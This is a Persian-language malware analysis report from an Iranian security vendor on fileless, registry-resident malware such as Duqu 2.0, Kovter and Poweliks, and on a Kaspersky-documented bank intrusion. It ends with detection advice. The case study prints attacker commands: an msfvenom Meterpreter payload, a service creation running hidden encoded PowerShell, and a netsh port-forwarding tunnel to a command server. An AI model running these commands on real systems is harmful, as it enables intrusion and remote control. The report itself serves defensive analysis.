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 شـرکت مهندسی شـبکه گسـتر

 هایبررسی و تحلیل بدافزار
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 Fileless بدافزارهای تحلیل و بـررسـیعنوان سند:  
  SPT-A-0128-01شناسه سند: 

 کننده: گروه تحقیق و توسعه، شرکت مهندسی شبکه گسترتهیه
 1395 اسفند: آخرین بازنگری

 .باشدیشبکه گستر" مجاز م یشبکه گستر محفوظ است. بازنشر مطالب صرفاً با ذکر نام "شرکت مهندس یشرکت مهندس یسند برا نیحقوق ا هیکلحق تکثیر: 
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 دائما   بدافزار بر روی دستگاه قربانی ماندگار ماندن و نفوذ هایروش 
 بدافزار نویسندگان اخیر هایسال ضمن اینکه در. است تغییر حال در
  حضور و شدن اییـناسـش از رارـف منظوربه را دیـدیـج هایکـیـکنـت

 .اندو مورد استفاده قرار داده کرده ابداع هاسیستم روی بر سـروصدابی
کد  ماندگار کردن ،هدف. است)بدون فایل(  Fileless به موسوم روشی از استفاده ها،تکنیک این از یکی

افزارهای با توجه به اینکه نرم .دیسک سخت است روی بر فایل صورتبدون ذخیره آن بهمخرب بدافزار 
ها در زمان نوشته شدن بر روی دیسک سخت و خوانده شدن ضدویروس سنتی صرفا  اقدام به بررسی فایل

 بشکند.در هم تواند براحتی این سد دفاعی را کنند این روش میاز روی آن می
حتی توسط مهندس  آنضمن اینکه با توجه به عدم وجود فایل مخرب بر روی دستگاه، تشخیص آلوده بودن 

 شود.دشوار میبسیار تحلیلگر بدافزار نیز 
 مذاکراتکه هدف آن جاسوسی از  Duquاز شناسایی نسخه دوم بدافزار پس  هااین بدافزار پیشرفتهنوع 
توجه کارشناسان امنیتی را به خود جلب کرد. از آن زمان تا کنون چندین نمونه پیشرفته از بدافزارهای بود  5+1

Fileless .منتشر شده است 
 است. مورد بررسی و تحلیل قرار گرفته Filelessهای پیشرفته بدافزارهای نمونهعملکرد  گزارش در این

 
 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 5+1در جریان مذاکرات  Filelessافزار انتشار جاسوس :1شکل 
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از  یدینفوذ گونه جد ها موردبرای ماهشرکت  نیا یاعلام کرد که شبکه سازمان Kasperskyشرکت ضدویروس  1394 خرداد 20در 
 روسیبه محصولات ضدو دیگونه جد نیا ییپس از اضافه شدن فرمول شناسابوده. قرار گرفته  Duqu 2.0موسوم به  Duquبدافزار 

Kasperskyبه یمورد آلودگ 100شرکت،  نیا انیمشتر یهاستمیشده از س یآور جمع هایارش، بر اساس گز Duqu 2.0 یدر کشورها 
و  شیاتر یدر کشورها 5+1با گروه مذاکره کننده  رانیملاقات ا یهاشود؛ از جمله محلیم ییشناسا هیو روس انهیخاورم ،ییایآس ،یغرب
 .سیسوئ

 یمخابرات یهااز شرکت یکیرا در  از آن ییها، نمونهDuqu 2.0 بدافزار یخود بر رو قاتیبر اساس تحق زین Symantec یتیامن شرکت
 ییکشف و شناسا ،یجنوب یایدر آس یکیمحصولات الکترون دکنندهیتول کی نیو همچن یشمال یقایدر آفر یشرکت مخابرات کیاروپا و 

 ،یکیالکترون زاتیتجه دکنندهیو تول یمخابرات یهاساختن شرکت هنفوذ و آلود هدف از کننداعلام می Symantec سانکارشنا. کندمی
 .بوده Duqu انیشنود مکالمات تلفن همراه قربان

شد. در آن زمان، با توجه به  ییکشف و شناسا 1390که در اواسط سال  بودبدافزار  نیا یاز گونه قبلتر دهیچیپ اریبس Duqu دیجد گونه
حمله کاملا  هدفمند  کیدر ارتباط با  Duqu اتفاق نظر داشتند که انتشار یتیامن یهاگزارش شده همه شرکت یهایتعداد محدود آلودگ
همه  انیدر م رانیاختلاف نظر وجود داشت اما نام ا روسیضدو یهاشرکت نیف، بهد یارائه شده درباره کشورها اربوده است. در آم

 .خوردیآمارها به چشم م نیا

 Duqu 2.0 .بودو مستمر  شرفتهیپ داتیمورد استفاده در تهد یها یفراتر از فناور  اریبس دیگونه جد نیمورد استفاده در ا یهاروش
حافظه  یکه تنها بر رو بودشده  یطراح ینحوبه ،گرید یبرخلاف بدافزارهابود. بدان معنا که  Filelessای موفق از یک بدافزار نمونه

 .رفتمی نیاز ب ستمیس یانداز اجرا شده و با هر بار راه

در  یولند کرد یخوددار  Duqu 2.0 بدافزار بانیو پشت یبه حام میاز اشاره مستق Symantec و Kaspersky گرچه هر دو شرکت
 . اما روزنامهبودماجرا مطرح شده  نیچند دولت در ا ای کیدو شرکت، دخالت  نیا تیسا یها و مطالب منتشر شده بر رومصاحبه

Wall Street Journal  نسبت داد لیحملات را به اسرائ نیکه نخواست نامش فاش شود ا کایاز مقامات سابق آمر یکیبه نقل از. 

 .باشدمی بدافزارها معمول هایگونه از دشوارتر بسیار Fileless نوع از بدافزارهای کشف و شناساییبدیهی است که 

 . شده است گزارشپیشرفته  Fileless از بدافزارهای متعددیهای از آن زمان تا کنون نمونه

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 
 با جاسوسان اسرائیلی Duqu 2.0 ارتباط :2شکل 
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 انـواع

 Filelessبدافزارهایی که در گذشته به عنوان  است. گرچه شده کامپیوتر ادبیات امنیت وارد ها قبلاز سال Filelessاصطلاح گرچه 
 اند. بدون فایل نبوده در عمل ندشدمی شناخته

 بندی کرد:دستهسه گروه زیر  درتوان را می Filelessبدافزارهای 

 1مقیم در حافظه 
 2کیتروت 
 3ایمحضرخانه 

 در حافظهمقیم 

کد مخرب نه بر روی کند. هر چند که را استفاده می مجازبخشی از حافظه اختصاص داده شده به یک پروسه  ،بدافزاردر این نوع، 
برای اجرا کردن آن در هر  فایلیاما همچنان به دارد  شده قرار دادهکه بر روی بخشی که به یک پروسه مجاز اختصاص  ،دیسک سخت

 .تلقی کرد Fileless توان کاملا  بنابراین این روش را نمی. استاندازی سیستم نیاز بار راه

 کیتروت

بر مخرب فایل  با وجود آنکهکنند. در سطح هسته مخفی می در سطح کاربر و یا APIحضور خود را در پشت یک این نوع بدافزارها 
. بنابراین این استقابل تشخیص غیرضدویروس  های پیشرفته توسطحتی در نمونه موجود است اما توسط کاربر وسخت روی دیسک 

 .دانست Filelessکاملا  توان آن را نمی اما استشناسایی و پاکسازی  قابلنوع هم هر چند به سختی 

 ایمحضرخانه

د. بدافزار همچنان باید در اولین مرحله در قالب شوسیستم عامل ذخیره می محضرخانه در یکلید درکد مخرب در این گونه بدافزارها 
معمولا   دستگاه دیگری نیازی به اجرای فایل اولیه نخواهد بود. 4اندازی مجدداما پس از آن و با راه فایل به سیستم وارد شود. یک

صورت بدافزار کد مخرب را به ،پیوست فایل محض اجرای. بهشوندرخنه این نوع بدافزارها محسوب می ابزار 5هاها و هرزنامهایمیل
 کند.محضرخانه ثبت کرده و سپس خود را از روی سیستم حذف میرمزگذاری شده در 

. کنندها ذخیر می، کد مخرب را در این فایلWindows Thumbnail Cache امکان جویی از همچنین برخی مهاجمان نیز با بهره
Windows Thumbnail Cache های در فایلبا توجه به ذخیره کد  بخشد.نمایش تصاویر را تسریع میفرآیند فراخوانی شدن پیش

 ای را ندارد.استحکام روش محضرخانهمربوط به این امکان بر روی دیسک سخت، این روش 

و  وجود آلودگی . کاری که شناساییاندبهره گرفتهای محضرخانهاز روش  به کرات گان بدافزارهای پیشرفتهدر دو سال اخیر نویسند
  کند.دشوار میبسیار را آن تحقیقات پس از 

 است. ایمحضرخانه Filelessخاص مورد بررسی قرار گرفته بدافزارهای  طورآنچه در این گزارش به 

 

 

                                                           
1 Memory Resident  
2 Rootkit  
3 Registry) Windows(  
4 Reboot   
5 Spam  
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 سازی آلودگیهای مخفیتکنیک

 کنند.می افزار ضدویروس استفادهمخفی نمودن خود از دید کاربر و نرمجهت  روشاین خانواده از بدافزارها از دو 

 دسترسیکنترل درازی به فهرست دست

 فهرستی به دراز رج شده در محضرخانه را با دستمحتوای کلید ددسترسی به  Filelessدر این تکنیک، بدافزار 
Access Control List –  به اختصارACL – کندمسدود می. 

ACL  یا هر چیزی باشد  6یک فایل، پروسه، رویداد تواندمی شئ. است شئبه یک  تخصیص داده شده هایحق دسترسیفهرستی از
 است.مورد نظر محضرخانه کلید ایجاد شده در مربوط به  ACLدرازی به دست ،گزارشکننده امنیتی دارد. در این که یک توصیف

رمز شده در مسیری از محضرخانه ثبت و دسترسی  صورترا به JavaScriptکد  Powelikeو  Kovterبدافزارهایی نظیر برای مثال، 
 .نخواهند بود هاو کاربر قادر به دست یافتن به آن کلیدکنند. به این ترتیب ضدویروس می مسدودآن کلیدها  بهکاربر را 

 Null استفاده از یک نویسه

ها یا مقادیری که قادر به نمایش کلیدها، داده Windows Registry Editorبسیار ساده اما کارساز برای بدافزار است.  ،تکنیک دیگر
 در خود دارند نیست.  Nullنویسه 

در کند. کلید محضرخانه ذخیر میدر  دادهقرار  Nullصورت رمز شده در حالی که نویسه اول آن را را به مخرب بدافزار کل محتوای فایل
 شود.ظاهر می 4خطایی مشابه شکل  ،بدافزارزمان دسترسی یافتن به کلید ساخته شده توسط این صورت در 

                                                           
6 Event  

 هرزنامه سایت مخرب نصاب سایت مخرب

 ایـجـاد

Thumb Cache  اجرای محضرخانه از طریق
JavaScript 

 اجرا

 اجرای اسکریپت رمزگذاری شده

 اجرا

اجرای کد مخرب در حافظه تخصیص  مخربکد 
 داده شده به یک پروسه مجاز

 ایمحضرخانه Fileless: روال اجرای بدافزارهای 3شکل 
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 اجـرا

دو کنند. انتخاب می از طریق آنها را برای اجرا نمودن کد مخرب Windows های مجازدقت پروسهه ب Fileless بدافزارهای نویسندگان
 . هستند PowerShellو  Windows Management Instrumentationشوند ای که معمولا  برای این منظور بکار گرفته میپروسه

 Windows Management Instrumentation :نویسی های اسکریپتکند تا از طریق زباننویس را قادر میاین ابزار برنامه
 د.مدیریت کن 7صورت از راه دورصورت محلی و هم بهرا هم به Windowsهای عامل سیستم VBScriptنظیر 

 PowerShell : مبتنی بر بستری.Net Framework  این بستر شامل استپیکربندی برای خودکارسازی فرامین و مدیریت .
 است. نویسیاسکریپت زبان یک و 8فرمان خط پوسته یک

 
 

 بهی از حافظه تخصیص داده شده ممکن است که در بخش مخرب، اسکریپت مورد استفاده در بدافزارهای مقیم در حافظهمشابه روش 
 اجرا شود:های مجاز سیستم عامل نظیر موارد زیر پروسه

 Regsvr32.exe 
 Svchost.exe 
 Dllhost.exe 

شود قطعه کدی است تنها چیزی که بر روی دیسک نوشته می هیچ فایلی بر روی دیسک نگهداری نشده و عمل در این روشبنابراین در 
.شده استدرج که در کلیدی از محضرخانه 

 

                                                           
7 Remotely  
8 line Shell-Command  

 Nullنمایش خطا در هنگام باز کردن کلید حاوی مقدار  :4شکل 

 

 کندیکد مخرب را اجرا م PowerShell یکه با فراخوان یقطعه کد: 5شکل 
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 بررسی یک نمونه

 شرکت، 1395بهمن ماه  20 برای نمونه، درای گزارش شده است. محضرخانه Filelessهای متعددی از بدافزار در دو سال اخیر نمونه 
مختلف به  کشور 40در  یولتد و سازمان اتیشرکت ارتباط، یمؤسسه مال ،از صد بانک شیب از آلوده شدن Kaspersky ضدویروس

 .خبر داد است رممکنیغ با  یتقر جیرا هاییآن با فناور  ییشناسا به گفته این شرکت بر حافظه که یو مبتن شرفتهیپ یبدافزار 

 

 
 

 

یکی  حافظه در Meterpreter ابزار از متوجه اجرای قطعه کدیبانک  کی تیامن میت که که شدزمانی آغاز  Kasperskyبررسی شرکت 
و نه بر روی دیسک  –خود را بر روی حافظه  ،این ابزار با پیوست شدن به یک پروسه .شودمیخود  Domain Controllerاز سرورهای 

 کند.می اجرا –

 توان به موارد زیر اشاره کرد:می Meterpreterهای از ویژگی

 د.کنفایلی بر روی دیسک ایجاد نکرده و خود را بر روی حافظه در حالی که به یک پروسه متصل شده اجرا می .1
 شود.رمز شده ردوبدل می صورتارتباطات آن بین دستگاهی که بر روی آن اجرا شده و سرور فرماندهی به .2

 RAMرا مستقیما  بر روی حافظه  Meterpreterکد  PowerShellاز  یر یگمهاجمان با بهره نیاهای بیشتر مشخص کرد که بررسی
 (7)شکل  .انداجر کرده

 
 

 

و با اجرای فرمان زیر ایجاد  Metasploit Msfvenomاز طریق ابزار ، 7شود اسکریپت نمایش داده شده در شکل احتمال داده می
 شده باشد:

msfvenom -p windows/meterpreter/bind_hidden_tcp AHOST=10.10.1.11 -f psh-cmd 

 کشورهای هدف قرار گرفته شده :6شکل 

 

 PowerShellبا استفاده از فرمان  Meterpreterاجرای کد  :7شکل 
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 شود:ایجاد میاست یک سرویس مخرب که وظیفه آن اجرای اسکریپت قبلی بر روی دستگاه  SC فرمان با استفاده از در ادامه

sc \\target_name create ATITscUA binpath= “C:\Windows\system32\cmd.exe /b /c start /b /min 
powershell.exe -nop -w hidden e aQBmACgAWwBJAG4AdABQAHQA…” start= manual 

 

اه دور رو کنترل از  یارتباط با سرور فرمانده یبرقرار  منظوربه یتونل پراکس کی جادیا یبرا NETSH یااز ابزار شبکه نیافراد همچن نیا
 .اندکردهدستگاه آلوده شده استفاده 

netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.1.12 
connectport=8080 listenaddress=0.0.0.0 

 

 د. کنمی هدایت 10.10.1.12:8080به  10.10.1.11:4444ای را از فرمان فوق تمامی ترافیک شبکه

 د.نرا از راه دور تحت کنترل داشته باش شده با این پراکسی مهاجمان قادر خواهند بود دستگاه آلوده

ه داست. استفا Administratorنیازمند حق دسترسی صورت محلی و هم در صورت اجرا از راه دور هم به NETSHو  SC فرامین اجرای
های اجرایی است. برای این منظور این مهاجمان و اعمال تغییر در سیاستنیز نیازمند حق دسترسی بالا  PowerShellاسکریپت مخرب 

 و Backupهایی نظیر کاربری سرویس هایسنجی حساباطللاعات اصالت Mimikatzبا استفاده از ابزار 
Remote Task Scheduler  اندکردهرا سرقت و استفاده. 

 بوده است. 9خودپرداز یهادستگاه مدیریت اعلام شده که وظیفه آنها هاییسیستم کنترل دست گرفتن در این حملات یهدف اصل

 

 گیریـهای پیشراه

 های شناسایی جدید قابل انجام است.هر چند دشوار اما با استفاده از فناوری Filelessهای پیشرفته بدافزارهای شناسایی نمونه

 .شوندشناسایی میمتعدد  پویشگرتهدیدات با ترکیب موتورهای  ،ی جامعدفاع در یک راهکار

 های و حمله 11حافظه ها، بدافزارهای سرریزافزارها، کرم ها، تروجانها، جاسوس: انواع ویروس10شناسایی بر اساس امضاء
 کند.ترکیبی را شناسایی می

 دهد.را مورد بررسی قرار می ها برای شناسایی تهدیدات جدید در حال ظهور: اعتبار فایل12شناسایی بر اساس اعتبار 
 شود. این بدافزارها استفاده می 14: از این روش برای شناسایی بدافزارهای روز صفر13تجزیه و تحلیل ایستا و شبیه سازی کدها

 های شناسایی بر اساس امضاء یا اعتبار قابل شناسایی نیستند.توسط فناوری
 با استفاده از مهندسی  های یک برنامه بدون اجرای آن وها، صفات و دستورالعمل: ویژگی15تجزیه و تحلیل کامل کدهای ایستا

شده امکان تجزیه و بندیهای فشرده و بسته. بازگشایی انواع فایلگیردمیهای برنامه مورد تجزیه و تحلیل قرار معکوس کد
 کند.فراهم می افزارهای خاصجهت شناسایی انواع بد را هاتحلیل کامل فایل

  خطر بودن آنها اطمینان توان از بینمی قبلهای هایی که با روش: برای فایل16قرنطینه امنتجزیه و تحلیل پویا با استفاده از
  شود.حاصل کرد، استفاده می

                                                           
9 ATM  
10 etectionDbased -Signature  
11 Buffer Overflow  
12 etectionDbased -Reputation  
13 mulationEnalysis and Atatic Stime -Real  
14 day-Zero  
15 nalysisAcode -taticSFull   
16 Dynamic sandbox analysis  
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 ها را بر روی نقاط پایانی جهت شناسایی های مشکوک و فعالیتپویش حفاظت واقعی فایل :17پویش حفاظت واقعی
تواند کند. با استفاده از این اطلاعات، پویشگر میبررسی می 18آوری یادگیری ماشینالگوهای مخرب با استفاده از فن

 بدافزارهای روز صفر را شناسایی کند.

 حفاظت کند. Filelessطور مؤثر در برابر بدافزارهای تواند سازمان را بههای فوق میترکیب فناوری

 

 

 

   

 

 

 

 

 

                                                           
17 Real Protect Scanning  
18 Machine Learning  

https://t.me/SGnewsroom
http://newsroom.shabakeh.net/18236/shamoon-wiper-analysis.html
http://newsroom.shabakeh.net/18219/crypto-ransomware.html
http://newsroom.shabakeh.net/18162/malware-self-defense-common-methods.html
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تأسیس گردیده،  1370شركت مهندسی شبـكه گستر كه در سال 
افزارهای اولیـن شـركت ایـرانـی است كـه در زمینه نرم

ضـدویـروس فعـالیت تخصصی و متمـرکـزی را آغـاز كـرد. در 
 S & S Internationalابتـدا، همكـاری مشتـركی بیـن شركت مهندسی شبـكه گستـر و شركت انگلیسی 

عنوان نماینده ( آغاز گردید. در مدت كوتاهی، با فعالیت شبكه گستر بهToolkitكننده ضدویروس مشهور ید)تول
به  Dr Solomon’s Toolkit  در ایران، بـه تـدریج ضدویروس S & S Internationalرسمی و انحصاری 

 ترین ضدویروس در ایران تبدیل شد.محبوب
گستر نیز  ، شركت شبكه1377در سـال  McAfeeتوسط شرکت   S & S Internationalپس از خرید شرکت 

ادامه داد. در حال  McAfeeافزارهای ضدویروس المللی فعـالیت خود را بر روی نرممانند دیگر نمـاینـدگان بیـن
به ارائه  ( در منطقه خاورمیانه،Authorized Reseller) عنوان فروشنده مجازحاضر نیز شـركت شبكه گستر به

 محصولات و خدمات درایران اقدام می نماید.
شـرکت مهندسی شبـکه گستر مـوفـق بـه کسب نـمـایـنـدگی رسمـی و انحصـاری شـرکت  13۸4در سـال 
( Unified Threat Management) ، سـازنـده محصولات "مـدیریت یکپـارچـه تهـدیـدات"Astaroآلمانی 

شرکت  1390، در سال Astaroموفقیت جهانی محصولات امنیتی شرکت  گردید. به دنبال رشد چشمگیر و
Sophos  انگلیس، اقدام به خرید این شرکت آلمانی نمود. به دنبال این نقل و انتقال، شرکت مهندسی شبکه
سابق را تحت نام جدید  Astaroادامه فعالیت داده و اکنون محصولات  Sophosعنوان نماینده شرکت گستر به

Sophos  نماید.و دیگر محصولات امنیت شبکه این شرکت را در ایران عرضه می 
عنوان نماینده و را به Bitdefenderنیز، شرکت مهندسی شبکه گستر عرضه محصولات ضد ویروس  1391از سال 
در کنار  Bitdefenderعرضه محصولات ضدویروس ( رسمی در ایران، آغاز کرد. Distributorکننده )توزیع

، پاسخی به شرایط و نیازهای متفاوت کاربران و مدیران شبکه است. ضد ویروس McAfeeمحصولات امنیتی 
های تر، انتظاراتی بودند که برخی کاربران و مدیران شبکهتر و محصولی مقرون به صرفهتر، مدیریت آسانچابک

، شبکه گستر به نیازهای این بخش از Bitdefenderکوچک و متوسط داشتند و با عرضه محصولات ضدویروس 
 بازار پاسخ داد.

های طراحی، ترین پروژهشرکت مهندسی شبکه گستر افتخار دارد که مجری برخی از بزرگترین و طولانی مدت
 افزاری فایروال در کشور بوده است.افزاری ضدویروس و سختندازی و پشتیبانی محصولات نرمانصب، راه

شوند، دهی به هزاران شرکت و سازمان که صدها هزار کاربر را در کشور شامل میر خدماتاین شرکت علاوه ب
 باشد.دارای شبکه نمایندگی فروش و پشتیبانی در سراسر کشور نیز می
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